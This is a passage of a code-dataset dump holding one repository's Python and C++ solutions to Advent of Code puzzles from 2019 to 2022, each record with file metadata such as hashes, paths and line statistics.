part_two(monkeys):\n lcm = math.lcm(*[m.divisible_test for m in monkeys])\n for _ in range(10_000):\n for m in monkeys:\n for worry_lvl in m.items:\n m.inspections += 1\n num2 = worry_lvl if m.op_num == 'old' else int(m.op_num)\n if m.op == '+':\n worry_lvl += num2\n else:\n worry_lvl *= num2\n worry_lvl %= lcm # kinda cheated for this but it's a math thing so...\n if worry_lvl % m.divisible_test == 0:\n monkeys[m.pass_test].items.append(worry_lvl)\n else:\n monkeys[m.fail_test].items.append(worry_lvl)\n m.items.clear()\n\n heapq.heapify(monkeys)\n return heapq.heappop(monkeys).inspections * heapq.heappop(monkeys).inspections\n\n\nprint(part_one(deepcopy(monkeys)))\nprint(part_two(deepcopy(monkeys)))\n" }, { "alpha_fraction": 0.5432258248329163, "alphanum_fraction": 0.57419353723526, "avg_line_length": 21.14285659790039, "blob_id": "9252d505d6c324fc16eaab777f15f223aaa7fe4a", "content_id": "459ee4073908a50f0feae79d15c73e2aa169c568", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 775, "license_type": "no_license", "max_line_length": 84, "num_lines": 35, "path": "/2020/2020-03.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-03.txt') as f:\n rows = list(map(lambda r: r.strip(), f.readlines())) # get rid of newline chars\n\ndef find_num_trees(row_increment, col_increment):\n row = 0\n column = 0\n trees = 0\n while row < len(rows) - 1:\n row += row_increment\n column += col_increment\n if rows[row][column % len(rows[row])] == '#':\n trees += 1\n\n return trees\n\n@timed\ndef part_one():\n return find_num_trees(1, 3)\n\n@timed\ndef part_two():\n fnt = find_num_trees\n slopes = ((1, 1), (1, 3), (1, 5), (1, 7), (2, 1))\n\n num_trees_list = [fnt(*slope) for slope in slopes]\n product = 1\n for result in num_trees_list:\n product *= result\n return product\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.6214859485626221, "alphanum_fraction": 0.6405622363090515, "avg_line_length": 24.538461685180664, "blob_id": "490db9111d985e262f3488d24a024c918211ace8", "content_id": "3ebb41087dd16d6d4e16912d7d41d582d1ab0c03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 996, "license_type": "no_license", "max_line_length": 68, "num_lines": 39, "path": "/2021/Day06/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n#include <unordered_map>\n\nunsigned long long int simFish(std::vector<int> &timers, int days) {\n\tstd::unordered_map<int, unsigned long long int> offspringDays;\n\tfor (int i = 0; i < timers.size(); i++) {\n\t\toffspringDays[timers.at(i)]++;\n\t}\n\n\tunsigned long long int numFish = timers.size();\n\tfor (int i = 0; i < days; i++) {\n\t\tif (offspringDays.find(i) != offspringDays.end()) {\n\t\t\toffspringDays[i + 7] += offspringDays[i];\n\t\t\toffspringDays[i + 9] += offspringDays[i];\n\t\t\tnumFish += offspringDays[i];\n\t\t\toffspringDays.erase(i);\n\t\t}\n\t}\n\treturn numFish;\n}\n\nint main() {\n\tconst int days1 = 80;\n\tconst int days2 = 256;\n\n\tstd::string agestr;\n\tstd::vector<int> timers;\n\tstd::ifstream input(\"input.txt\");\n\twhile (std::getline(input, agestr, ',')) {\n\t\ttimers.push_back(std::stoi(agestr));\n\t}\n\n\tstd::cout << \"Part 1: \" << simFish(timers, 80) << std::endl;\n\tstd::cout << \"Part 2: \" << simFish(timers, 256) << std::endl;\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5871687531471252, "alphanum_fraction": 0.6018131375312805, "avg_line_length": 24.175437927246094, "blob_id": "affab345c428e8e865eeed62ca40f6fa1e0a4bc5", "content_id": "db6ca2a8b528fcfd7a277104e0e2d317b98f7ab2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 116, "num_lines": 57, "path": "/2021/Day07/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <vector>\n#include <string>\n#include <algorithm>\n#include <cmath>\n\nint rangeSum(int n) {\n\treturn n * (n + 1) / 2;\n}\n\nint min(int a, int b) {\n\treturn a < b ? a : b;\n}\n\nint main() {\n\tstd::string line;\n\tstd::ifstream input(\"input.txt\");\n\tstd::vector<int> crabs;\n\n\twhile (std::getline(input, line, ',')) {\n\t\tcrabs.push_back(std::stoi(line));\n\t}\n\tstd::sort(crabs.begin(), crabs.end());\n\tint med;\n\tif (crabs.size() % 2 == 0) {\n\t\tmed = (crabs.at(crabs.size() / 2) + crabs.at(crabs.size() / 2 - 1)) / 2;\n\t} else {\n\t\tmed = crabs.at(crabs.size() / 2);\n\t}\n\n\tint fuelCost = 0;\n\tfor (int i = 0; i < crabs.size(); i++) {\n\t\tfuelCost += std::abs(med - crabs.at(i));\n\t}\n\n\tstd::cout << \"Part 1: \" << fuelCost << std::endl;\n\n\tint sum = 0;\n\tfor (int i = 0; i < crabs.size(); i++) {\n\t\tsum += crabs.at(i);\n\t}\n\n\t// The inputs are weird, for the sample input you need to round the mean, for the actual input I needed to floor it\n\t// I just do both and check to see which one results in a lower fuel cost and use that fuel cost.\n\tint meanFloor = (double) sum / crabs.size();\n\tint meanRound = (double)sum / crabs.size() + 0.5;\n\n\tint fuelCostF = 0;\n\tint fuelCostR = 0;\n\tfor (int i = 0; i < crabs.size(); i++) {\n\t\tfuelCostF += rangeSum(std::abs(meanFloor - crabs.at(i)));\n\t\tfuelCostR += rangeSum(std::abs(meanRound - crabs.at(i)));\n\t}\n\tstd::cout << \"Part 2: \" << min(fuelCostF, fuelCostR) << std::endl;\n\treturn 0;\n}" }, { "alpha_fraction": 0.49440819025039673, "alphanum_fraction": 0.5032618641853333, "avg_line_length": 25.49382781982422, "blob_id": "5e92b146d222d802e6fb3c2c8276ce7feab6199b", "content_id": "6b9eaf8dc6fc2bdf7d44986d3d158f4051a20df4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2146, "license_type": "no_license", "max_line_length": 86, "num_lines": 81, "path": "/2020/2020-18.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n\nwith open('inputs/2020-18.txt') as f:\n problems = [list(p.replace(' ', '')) for p in f.read().splitlines()]\n\nOPERATOR_MAP = {'+': int.__add__, '*': int.__mul__}\n\ndef get_corresponding_parenthesis(expr):\n istart = [] # stack of indices of opening parentheses\n\n for i, c in enumerate(expr):\n if c == '(':\n istart.append(i)\n if c == ')':\n istart.pop()\n if len(istart) == 0:\n return i\n\ndef evaluate(expr):\n i = 1\n try:\n total = int(expr[0])\n except ValueError:\n p_index = get_corresponding_parenthesis(expr)\n paren_expr = expr[i:p_index]\n total = evaluate(paren_expr)\n i = p_index + 1\n\n while i < len(expr):\n try:\n other = int(expr[i + 1])\n except ValueError:\n if expr[i + 1] == '(':\n p_index = get_corresponding_parenthesis(expr[i + 1:])\n paren_expr = expr[i + 2:i + p_index + 1]\n total = OPERATOR_MAP[expr[i]](total, evaluate(paren_expr))\n i = i + p_index + 2\n else:\n raise Exception(f'Something went wrong: next symbol is {expr[i + 1]}')\n else:\n total = OPERATOR_MAP[expr[i]](total, other)\n i += 2\n\n return total\n\n@timed\ndef part_one(problems):\n return sum([evaluate(p) for p in problems])\n\nclass Rint(int):\n \"\"\"An int class that reverses the order of operations\"\"\"\n def __add__(self, other):\n return Rint(int.__mul__(self, other))\n\n def __mul__(self, other):\n return Rint(int.__add__(self, other))\n\n@timed\ndef part_two(problems):\n total_sum = 0\n for problem in problems:\n new_problem = ''\n for c in problem:\n if c.isdigit():\n new_problem += f'Rint({c})'\n elif c == '+':\n new_problem += '*'\n elif c == '*':\n new_problem += '+'\n else:\n # Parentheses\n new_problem += c\n\n total_sum += eval(new_problem)\n\n return total_sum\n\n\nprint(part_one(problems))\nprint(part_two(problems))\n" }, { "alpha_fraction": 0.5844155550003052, "alphanum_fraction": 0.5844155550003052, "avg_line_length": 26.719999313354492, "blob_id": "00748308e1f686c7e2802eec2d3a12b0898f4d8e", "content_id": "1339ec59c9aa44e8ca4d882857a2af991d17cf1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 693, "license_type": "no_license", "max_line_length": 64, "num_lines": 25, "path": "/2022/utils.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from functools import wraps\nimport time\n\ndef timed(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n begin = time.time()\n result = f(*args, **kwargs)\n delta = time.time() - begin\n print('Executed {} in {} sec'.format(f.__name__, delta))\n return result\n return wrapper\n\n\ndef read_lines(fname: str) -> list:\n with open(f'inputs/{fname}') as f:\n return [line.rstrip() for line in f.readlines()]\n\ndef read_split(fname: str, sep: str) -> list:\n with open(f'inputs/{fname}') as f:\n return [s.rstrip() for s in f.read().split(sep)]\n\ndef read_file(fname: str) -> str:\n with open(f'inputs/{fname}') as f:\n return f.read().rstrip()\n" }, { "alpha_fraction": 0.5270988345146179, "alphanum_fraction": 0.5451647043228149, "avg_line_length": 26.275362014770508, "blob_id": "2c8894c9de742671229310f6cc6020d2cb41a001", "content_id": "0b480bc65b62a4edd488777270512cd7c3f38324", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1882, "license_type": "no_license", "max_line_length": 83, "num_lines": 69, "path": "/2019/2019-04.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n\n@timed\ndef part_one():\n password_range = [int(i) for i in open('inputs/2019-04.txt').read().split('-')]\n\n possible_passwords = []\n for password in range(password_range[0], password_range[1] + 1):\n password = str(password)\n\n consecutive = False\n increasing = True\n for i, digit in enumerate(password):\n if i != len(password) - 1 and int(digit) > int(password[i + 1]):\n increasing = False\n break\n if i != 0 and digit == password[i - 1]:\n consecutive = True\n if increasing and consecutive:\n possible_passwords.append(password)\n\n print(len(possible_passwords))\n\n\n@timed\ndef part_two():\n password_range = [int(i) for i in open('inputs/2019-04.txt').read().split('-')]\n\n possible_passwords = []\n for password in range(password_range[0], password_range[1] + 1):\n password = str(password)\n\n consecutive = False\n increasing = True\n\n for i, digit in enumerate(password):\n if i != len(password) - 1 and int(digit) > int(password[i + 1]):\n increasing = False\n break\n if not increasing:\n continue\n\n i = 0\n consecutive_digits = []\n current_counter = 1\n while i < len(password) - 1:\n if password[i] == password[i + 1]:\n current_counter += 1\n else:\n consecutive_digits.append(current_counter)\n current_counter = 1\n\n if i + 1 == len(password) - 1:\n consecutive_digits.append(current_counter)\n\n i += 1\n\n consecutive = any(c == 2 for c in consecutive_digits)\n\n if not consecutive:\n continue\n possible_passwords.append(password)\n\n print(len(possible_passwords))\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5636363625526428, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 14.714285850524902, "blob_id": "6d1fba7cfc4dbddfc9c91d3274b93c575c29ddd8", "content_id": "781d27e00afeee1eb0edc54f817dc96264b8f651", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 110, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/2021/Day11/point.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include \"point.h\"\n\nPoint::Point(int x1, int y1, int energyLvl) {\n\tx = x1;\n\ty = y1;\n energy = energyLvl;\n}\n" }, { "alpha_fraction": 0.5005694627761841, "alphanum_fraction": 0.5130979418754578, "avg_line_length": 18.086956024169922, "blob_id": "b2a0dff0ced56a13d94414ba89c868458f0104a2", "content_id": "b9889bfbab5ae5cf9f53d2b0d8b29426cae16844", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1756, "license_type": "no_license", "max_line_length": 54, "num_lines": 92, "path": "/2021/Day04/board.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include \"board.h\"\n#include <iostream>\n\nBoard::Board() {\n\tfor (int i = 0; i < marked.size(); i++) {\n\t\tfor (int j = 0; j < marked[0].size(); j++) {\n\t\t\tmarked[i][j] = false;\n\t\t}\n\t}\n}\n\n\nbool Board::checkCols() {\n\tbool hasUnmarked;\n\tfor (int j = 0; j < marked[0].size(); j++) {\n\t\thasUnmarked = false;\n\t\tfor (int i = 0; i < marked.size(); i++) {\n\t\t\tif (!marked[i][j]) {\n\t\t\t\thasUnmarked = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!hasUnmarked) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nbool Board::checkRows() {\n\tbool hasUnmarked;\n\tfor (int i = 0; i < marked.size(); i++) {\n\t\thasUnmarked = false;\n\t\tfor (int j = 0; j < marked[0].size(); j++) {\n\t\t\tif (!marked[i][j]) {\n\t\t\t\thasUnmarked = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!hasUnmarked) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\nbool Board::checkBoard() {\n\treturn checkRows() || checkCols();\n}\nvoid Board::mark(int num) {\n\tbool numFound = false;\n\tfor (int i = 0; i < bingo.size(); i++) {\n\t\tfor (int j = 0; j < bingo[0].size(); j++) {\n\t\t\tif (bingo[i][j] == num) {\n\t\t\t\tmarked[i][j] = true;\n\t\t\t\tnumFound = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (numFound) break;\n\t}\n}\n\nint Board::sumUnmarked() {\n\tint sum = 0;\n\tfor (int i = 0; i < marked.size(); i++) {\n\t\tfor (int j = 0; j < marked[0].size(); j++) {\n\t\t\tif (!marked[i][j]) {\n\t\t\t\tsum += bingo[i][j];\n\t\t\t}\n\t\t}\n\t}\n\treturn sum;\n}\n\n// Method for debugging purposes, not used\nvoid Board::displayBoard() {\n\tfor (int x = 0; x < bingo.size(); x++) {\n\t\tfor (int y = 0; y < bingo[0].size(); y++) {\n\t\t\tstd::cout << bingo[x][y] << \" \";\n\t\t}\n\t\tstd::cout << std::endl;\n\t}\n\tstd::cout << std::endl;\n\n\tfor (int x = 0; x < marked.size(); x++) {\n\t\tfor (int y = 0; y < marked[0].size(); y++) {\n\t\t\tstd::cout << std::boolalpha << marked[x][y] << \" \";\n\t\t}\n\t\tstd::cout << std::endl;\n\t}\n\tstd::cout << std::endl;\n}\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.648421049118042, "avg_line_length": 19.65217399597168, "blob_id": "5cec04d5b47c4db0eb13eb0467a4005fe1666219", "content_id": "40dba44d38541217ddcfa3c2f2b22109ddbb5afe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license_type": "no_license", "max_line_length": 91, "num_lines": 23, "path": "/2019/2019-01.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# https://adventofcode.com/2019/day/1\n\n@timed\ndef part_one():\n print(sum(int(mass) // 3 - 2 for mass in open('inputs/2019-01.txt').readlines()))\n\n\ndef fuel_for_mass(mass):\n required_fuel = mass // 3 - 2\n if required_fuel <= 0:\n return 0\n return required_fuel + fuel_for_mass(required_fuel)\n\n\n@timed\ndef part_two():\n print(sum(fuel_for_mass(int(mass)) for mass in open('inputs/2019-01.txt').readlines()))\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.6042486429214478, "alphanum_fraction": 0.618017315864563, "avg_line_length": 26.94505500793457, "blob_id": "46f0ee130dd541edfc893b54bd6a59902e3bbbd5", "content_id": "77dfbe62ed07b653f4b92d86dd1cd6e68e2e06a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2542, "license_type": "no_license", "max_line_length": 179, "num_lines": 91, "path": "/2021/Day09/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <vector>\n#include <queue>\n#include <map>\n#include \"point.h\"\n\n\nstruct PointCompare {\n\tbool operator() (const Point& p1, const Point& p2) const {\n\t\tif (p1.x != p2.x) {\n\t\t\treturn p1.x < p2.x;\n\t\t}\n\t\telse {\n\t\t\treturn p1.y < p2.y;\n\t\t}\n\t}\n};\n\nint getValue(const std::vector<std::vector<int>> &heightmap, int x, int y) {\n\tif (x < 0 || y < 0 || x >= heightmap.size() || y >= heightmap[0].size()) return 9;\n\treturn heightmap.at(x).at(y);\n}\n\n// Use BFS to get the basin\nint basinSize(const std::vector<std::vector<int>> &heightmap, Point lowPoint) {\n\tstd::queue<Point> queue;\n\tstd::map<Point, bool, PointCompare> visited;\n\tqueue.push(lowPoint);\n\n\twhile (!queue.empty()) {\n\t\tPoint p = queue.front();\n\t\tqueue.pop();\n\t\tif (p.x < 0 || p.y < 0 || p.x >= heightmap.size() || p.y >= heightmap.at(0).size() ||\n\t\t\tgetValue(heightmap, p.x, p.y) == 9 || visited[p]) continue; // have to check if it is a 9 first otherwise visited[p] will add that point to the map with default value of false\n\n\t\tvisited[p] = true;\n\t\tstd::vector<Point> adjPoints = p.adjPoints();\n\t\tfor (const Point &point : adjPoints) {\n\t\t\tqueue.push(point);\n\t\t}\n\t}\n\n\treturn visited.size();\n}\n\nbool isLowPoint(const std::vector<std::vector<int>> &heightmap, int x, int y) {\n\tif (getValue(heightmap, x - 1, y) <= getValue(heightmap, x, y)) return false;\n\tif (getValue(heightmap, x, y - 1) <= getValue(heightmap, x, y)) return false;\n\tif (getValue(heightmap, x + 1, y) <= getValue(heightmap, x, y)) return false;\n\tif (getValue(heightmap, x, y + 1) <= getValue(heightmap, x, y)) return false;\n\treturn true;\n}\n\nint main() {\n\tconst int numLargest = 3; // For part 2\n\n\tstd::ifstream input(\"input.txt\");\n\tstd::vector<std::vector<int>> heightmap;\n\tstd::string line;\n\twhile (input >> line) {\n\t\tstd::vector<int> row;\n\t\tfor (int i = 0; i < line.length(); i++) {\n\t\t\trow.push_back(line[i] - '0'); // converts the char to an int\n\t\t}\n\t\theightmap.push_back(row);\n\t}\n\n\tint riskLvl = 0;\n\tstd::vector<int> basinSizes;\n\tfor (int i = 0; i < heightmap.size(); i++) {\n\t\tfor (int j = 0; j < heightmap.at(0).size(); j++) {\n\t\t\tif (isLowPoint(heightmap, i, j)) {\n\t\t\t\triskLvl += 1 + heightmap.at(i).at(j);\n\n\t\t\t\tPoint p(i, j);\n\t\t\t\tbasinSizes.push_back(basinSize(heightmap, p));\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::sort(basinSizes.begin(), basinSizes.end(), std::greater<int>());\n\tint prodLargest = 1;\n\tfor (int i = 0; i < numLargest; i++) {\n\t\tprodLargest *= basinSizes[i];\n\t}\n\n\tstd::cout << \"Part 1: \" << riskLvl << std::endl;\n\tstd::cout << \"Part 2: \" << prodLargest << std::endl;\n\treturn 0;\n}" }, { "alpha_fraction": 0.5111857056617737, "alphanum_fraction": 0.5492169857025146, "avg_line_length": 34.05882263183594, "blob_id": "ea6d83d6418215da79a100bacf7d95894615c264", "content_id": "39c18351368ef1d1de6c66be7706a6df5199a943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3576, "license_type": "no_license", "max_line_length": 155, "num_lines": 102, "path": "/2019/2019-03.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# I started out trying a 2000x2000 grid for part 1 before realizing you needed to save line segments xD\n\n\ndef save_segments(instructions):\n segments = []\n last_segment = [[0, 0], [0, 0]]\n for i in instructions:\n direction = i[0]\n length = int(i[1:])\n if direction == 'R':\n last_point = last_segment[1]\n last_segment = [last_point, [last_point[0] + length, last_point[1]]]\n segments.append(last_segment)\n elif direction == 'L':\n last_point = last_segment[1]\n last_segment = [last_point, [last_point[0] - length, last_point[1]]]\n segments.append(last_segment)\n elif direction == 'U':\n last_point = last_segment[1]\n last_segment = [last_point, [last_point[0], last_point[1] + length]]\n segments.append(last_segment)\n elif direction == 'D':\n last_point = last_segment[1]\n last_segment = [last_point, [last_point[0], last_point[1] - length]]\n segments.append(last_segment)\n\n return segments\n\ndef find_intersections(wires):\n intersections = []\n for segment1 in wires[0]:\n for segment2 in wires[1]:\n if segment2[0][0] in range(*sorted((segment1[0][0], segment1[1][0]))) and segment1[0][1] in range(*sorted((segment2[0][1], segment2[1][1]))):\n intersections.append((segment2[0][0], segment1[0][1]))\n elif segment1[0][0] in range(*sorted((segment2[0][0], segment2[1][0]))) and segment2[0][1] in range(*sorted((segment1[0][1], segment1[1][1]))):\n intersections.append((segment1[0][0], segment2[0][1]))\n\n return intersections\n\n@timed\ndef part_one():\n wires = [wire.split(',') for wire in open('inputs/2019-03.txt').readlines()]\n wire1 = save_segments(wires[0])\n wire2 = save_segments(wires[1])\n\n intersections = find_intersections([wire1, wire2])\n\n distances = [abs(x) + abs(y) for x, y in intersections]\n print(min(distances))\n\n\n@timed\ndef part_two():\n wires = [wire.split(',') for wire in open('inputs/2019-03.txt').readlines()]\n wire1 = save_segments(wires[0])\n wire2 = save_segments(wires[1])\n\n intersections = find_intersections([wire1, wire2])\n\n intersection_steps = []\n for x, y in intersections:\n current_coords = [0, 0]\n x_key = dict(zip(['R', 'L', 'U', 'D'], [1, -1, 0, 0]))\n y_key = dict(zip(['R', 'L', 'U', 'D'], [0, 0, 1, -1]))\n\n steps = 0\n for instruction in wires[0]:\n direction = instruction[0]\n length = int(instruction[1:])\n\n for i in range(length):\n current_coords[0] += x_key[direction]\n current_coords[1] += y_key[direction]\n steps += 1\n if current_coords[0] == x and current_coords[1] == y:\n break\n if current_coords[0] == x and current_coords[1] == y:\n break\n\n current_coords = [0, 0]\n for instruction in wires[1]:\n direction = instruction[0]\n length = int(instruction[1:])\n\n for i in range(length):\n current_coords[0] += x_key[direction]\n current_coords[1] += y_key[direction]\n steps += 1\n if current_coords[0] == x and current_coords[1] == y:\n break\n if current_coords[0] == x and current_coords[1] == y:\n break\n\n intersection_steps.append(steps)\n\n print(min(intersection_steps))\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5494880676269531, "alphanum_fraction": 0.5779294371604919, "avg_line_length": 28.299999237060547, "blob_id": "7fcf51744bf0bbbf8911811f50cb939eeaeff6f1", "content_id": "f7cbe44d27ff78721455040ef7420da26d3985a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 879, "license_type": "no_license", "max_line_length": 85, "num_lines": 30, "path": "/2020/2020-02.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import re\n\nfrom utils import timed\n\npasswords = open('inputs/2020-02.txt').readlines()\n\n@timed\ndef part_one():\n valid_passwords = 0\n for pw in passwords:\n regex_match = r'([0-9]+)-([0-9]+) ([a-z]): ([a-z]+)'\n min_req, max_req, letter, password = re.match(regex_match, pw).groups()\n letter_count = sum(1 for char in password if char == letter)\n if int(min_req) <= letter_count <= int(max_req):\n valid_passwords += 1\n return valid_passwords\n\n@timed\ndef part_two():\n valid_passwords = 0\n for pw in passwords:\n regex_match = r'([0-9]+)-([0-9]+) ([a-z]): ([a-z]+)'\n pos1, pos2, letter, password = re.match(regex_match, pw).groups()\n if (password[int(pos1) - 1] == letter) ^ (password[int(pos2) - 1] == letter):\n valid_passwords += 1\n return valid_passwords\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6741854548454285, "avg_line_length": 20, "blob_id": "ab59be1565aa026c6f7a9cae75e9cf9321d887d9", "content_id": "91b5a290fddd00a7dc88bd9a99b3b2d6b9206d1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 399, "license_type": "no_license", "max_line_length": 95, "num_lines": 19, "path": "/2022/day01.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_split, timed\n\nimport heapq\n\n\nelf_cals = [sum([-int(c) for c in elf.split('\\n')]) for elf in read_split('day01.txt', '\\n\\n')]\nheapq.heapify(elf_cals)\n\n@timed\ndef part_one(elf_cals):\n return -heapq.heappop(elf_cals)\n\n@timed\ndef part_two(elf_cals):\n return sum(-heapq.heappop(elf_cals) for _ in range(3))\n\n\nprint(part_one(elf_cals.copy()))\nprint(part_two(elf_cals.copy()))\n" }, { "alpha_fraction": 0.481241911649704, "alphanum_fraction": 0.5135834217071533, "avg_line_length": 23.15625, "blob_id": "3c66f3194e832b770679829142ab46ee24da748d", "content_id": "a4efe87fa6faa1e8a34d02b72beb580ef76737ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 773, "license_type": "no_license", "max_line_length": 119, "num_lines": 32, "path": "/2022/day03.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\n\nsacks = [(set(s[:len(s) // 2]), set(s[len(s) // 2:])) for s in read_lines('day03.txt')]\n\ndef calc_prio(item):\n if item.isupper():\n return ord(item) - ord('A') + 27\n return ord(item) - ord('a') + 1\n\n@timed\ndef part_one():\n prio = 0\n for c1, c2 in sacks:\n for item in c1:\n if item in c2:\n prio += calc_prio(item)\n break\n return prio\n\n@timed\ndef part_two():\n prio = 0\n for i in range(0, len(sacks), 3):\n badge = (sacks[i][0] | sacks[i][1]) & (sacks[i + 1][0] | sacks[i + 1][1]) & (sacks[i + 2][0] | sacks[i + 2][1])\n for item in badge: # should be only one\n prio += calc_prio(item)\n return prio\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.48862406611442566, "alphanum_fraction": 0.5048754215240479, "avg_line_length": 23.289474487304688, "blob_id": "21603780072aa7ebcc84cb8c59c2e59f2be8716b", "content_id": "500ef595a7bfa6ae7705c19aa7b66d43af55a76b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 923, "license_type": "no_license", "max_line_length": 100, "num_lines": 38, "path": "/2021/Day01/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <vector>\n#include <numeric>\n\n\nint main()\n{\n // Part 1\n std::ifstream infile(\"input.txt\");\n std::vector<int> depths;\n int num_inc = 0;\n int d;\n while (infile >> d) {\n depths.push_back(d);\n }\n for (int i = 1; i < depths.size(); i++) {\n if (depths.at(i) > depths.at(i - 1)) {\n num_inc++;\n }\n }\n std::cout << \"Part 1: \" << num_inc << std::endl;\n\n // Part 2\n std::vector<int> slidingDepths;\n for (int i = 2; i < depths.size(); i++) {\n slidingDepths.push_back(std::accumulate(depths.begin() + i - 2, depths.begin() + i + 1, 0));\n }\n\n int num_sliding_inc = 0;\n for (int i = 1; i < slidingDepths.size(); i++) {\n if (slidingDepths.at(i) > slidingDepths.at(i - 1)) {\n num_sliding_inc++;\n }\n }\n std::cout << \"Part 2: \" << num_sliding_inc << std::endl;\n return 0;\n}\n" }, { "alpha_fraction": 0.5762711763381958, "alphanum_fraction": 0.5855528712272644, "avg_line_length": 35.44117736816406, "blob_id": "148480341a1f197e29bbf4eb58b75459be838161", "content_id": "5127d6ed70fb2ddecb64c64868cded12aaf6b72d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2478, "license_type": "no_license", "max_line_length": 143, "num_lines": 68, "path": "/2020/2020-16.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import re\nfrom collections import Counter\nfrom itertools import chain\n\nfrom utils import timed\n\nwith open('inputs/2020-16.txt') as f:\n lines = f.read().splitlines()\n rule_matches = [list(re.match(r'([a-z ]+): (\\d+)-(\\d+) or (\\d+)-(\\d+)', line).groups()) for line in lines[:lines.index('')]]\n rules = {rule[0]: [int(r) if i % 2 == 0 else int(r) + 1 for i, r in enumerate(rule[1:])] for rule in rule_matches}\n\n your_ticket = list(map(int, lines[lines.index('') + 2].split(',')))\n nearby_tickets = [list(map(int, line.split(','))) for line in lines[lines.index('') + 5:]]\n\n@timed\ndef part_one(rules, nearby_tickets):\n error_rate = 0\n for ticket in nearby_tickets:\n for field in ticket:\n for ranges in rules.values():\n if field in chain(range(*ranges[:2]), range(*ranges[2:])):\n break\n else:\n error_rate += field\n return error_rate\n\n@timed\ndef part_two(rules, nearby_tickets, your_ticket):\n valid_tickets = nearby_tickets.copy()\n for ticket in nearby_tickets:\n for field in ticket:\n for ranges in rules.values():\n if field in chain(range(*ranges[:2]), range(*ranges[2:])):\n break\n else:\n valid_tickets.remove(ticket)\n\n\n valid_rule_fields = {k: [] for k in rules.keys()}\n for ticket in valid_tickets:\n for i, field in enumerate(ticket):\n for k, v in rules.items():\n if field in chain(range(*v[:2]), range(*v[2:])):\n valid_rule_fields[k].append(i) # adds to the list of possible fields for that rule\n\n\n counters = {k: [field for field, num_valid in Counter(v).items() if num_valid == len(valid_tickets)] for k, v in valid_rule_fields.items()}\n field_order = list(sorted(valid_rule_fields.keys(), key=lambda r: len(counters[r])))\n possible_fields = list(range(20))\n field_nums = {}\n for rule in field_order:\n for field in counters[rule]:\n if field in possible_fields:\n field_nums[rule] = field\n possible_fields.remove(field)\n break\n\n departure_fields = [f for f in rules.keys() if f.startswith('departure')]\n ans = 1\n for rule, field_index in field_nums.items():\n if rule in departure_fields:\n ans *= your_ticket[field_index]\n\n return ans\n\n\nprint(part_one(rules, nearby_tickets))\nprint(part_two(rules, nearby_tickets, your_ticket))\n" }, { "alpha_fraction": 0.32749468088150024, "alphanum_fraction": 0.36093416810035706, "avg_line_length": 23.467533111572266, "blob_id": "0a99e93e74ba0b355438b741e2149673b7cf3b08", "content_id": 